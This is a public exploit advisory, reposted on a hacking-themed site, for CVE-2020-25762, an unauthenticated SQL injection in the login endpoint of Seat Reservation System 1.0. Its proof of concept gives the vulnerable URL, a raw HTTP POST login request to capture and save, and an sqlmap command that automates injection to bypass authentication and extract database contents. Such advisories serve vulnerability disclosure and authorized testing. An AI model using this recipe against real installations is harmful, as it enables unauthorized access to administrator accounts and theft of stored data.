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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25762
# Description

The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious input in the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc.

#POC

1) Navigate to the admin login page

Example:

http://192.168.1.72/seat_reservation/admin/login.php

2) Fill in dummy values for 'username' and 'password' fields and send the request via an HTTP intercept tool

3) Save the request to file. Example, seat_reservation_sqli.req

POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://192.168.1.72
DNT: 1
Connection: close

username=admin&password=dummy

4) Run SQLmap on the file,

sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10